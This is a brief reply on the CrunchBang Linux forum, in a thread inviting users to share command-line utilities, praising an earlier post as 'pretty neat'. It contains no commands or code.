Registered: 2011-03-09
Posts: 4,396

Re: [Closed] post your handy command-line utilities

^ hey, not stupid at all! pretty neat if you ask me smile

Offline

Board footer

Powered by FluxBB

Copyright © 2012 CrunchBang Linux.
Proudly powered by Debian. Hosted by Linode.
Debian is a registered trademark of Software in the Public Interest, Inc.
Server: acrobat

Debian Logo